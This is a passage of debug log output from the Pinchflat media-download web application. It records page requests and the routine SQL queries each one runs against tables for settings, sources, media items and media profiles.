s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:49.729 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:49.729 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:49.729 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:49.730 [info] Sent 200 in 2ms 15:41:50.788 [info] GET /sources/2 15:41:50.788 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 15:41:50.788 [debug] QUERY OK source="sources" db=0.2ms idle=1059.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:41:50.788 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1059.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:50.789 [debug] QUERY OK source="tasks" db=0.1ms idle=1059.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 15:41:50.789 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1037.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [693, 373] 15:41:50.789 [debug] QUERY OK source="settings" db=0.0ms idle=36.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:50.789 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:50.790 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:50.790 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:41:50.791 [debug] QUERY OK source="media_items" db=0.2ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:41:50.791 [debug] QUERY OK source="media_items" db=0.4ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:41:50.791 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:41:50.791 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 15:41:50.792 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:41:50.792 [debug] QUERY OK source="sources" db=0.0ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:41:50.792 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 15:41:50.792 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:41:50.793 [info] Sent 200 in 5ms 15:41:51.799 [info] GET /sources/3/media/6484 15:41:51.799 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6484", "source_id" => "3"} Pipelines: [:browser] 15:41:51.800 [debug] QUERY OK source="media_items" db=0.1ms idle=1007.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6484] 15:41:51.800 [debug] QUERY OK source="tasks" db=0.0ms idle=1007.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6484] 15:41:51.800 [debug] QUERY OK source="sources" db=0.1ms idle=1007.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:51.800 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1007.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [381] 15:41:51.800 [debug] QUERY OK source="settings" db=0.0ms idle=46.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:51.800 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:51.800 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:51.801 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:51.801 [info] Sent 200 in 2ms 15:41:52.633 [info] GET /sources 15:41:52.633 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 15:41:52.633 [debug] QUERY OK source="settings" db=0.1ms idle=832.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:52.633 [debug] QUERY OK source="settings" db=0.0ms idle=833.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:52.634 [debug] QUERY OK source="settings" db=0.0ms idle=833.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:52.634 [debug] QUERY OK source="settings" db=0.0ms idle=833.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:52.634 [debug] QUERY OK source="settings" db=0.0ms idle=833.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:52.636 [debug] QUERY OK source="sources" db=1.6ms idle=1.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 15:41:52.638 [debug] QUERY OK source="sources" db=1.9ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 15:41:52.639 [info] Sent 200 in 6ms 15:41:53.474 [info] GET /media_profiles/1 15:41:53.474 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 15:41:53.474 [debug] QUERY OK source="media_profiles" db=0.0ms idle=840.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:53.475 [debug] QUERY OK source="sources" db=0.0ms idle=840.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 15:41:53.475 [debug] QUERY OK source="settings" db=0.0ms idle=838.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:53.475 [debug] QUERY OK source="settings" db=0.0ms idle=836.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:53.475 [debug] QUERY OK source="settings" db=0.0ms idle=720.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:53.476 [info] Sent 200 in 2ms 15:41:54.176 [info] GET /media_profiles/1/ 15:41:54.176 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 15:41:54.177 [debug] QUERY OK source="media_profiles" db=0.1ms idle=701.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:54.177 [debug] QUERY OK source="sources" db=0.1ms idle=701.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 15:41:54.177 [debug] QUERY OK source="settings" db=0.0ms idle=701.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:54.177 [debug] QUERY OK source="settings" db=0.0ms idle=701.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:54.177 [debug] QUERY OK source="settings" db=0.0ms idle=421.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 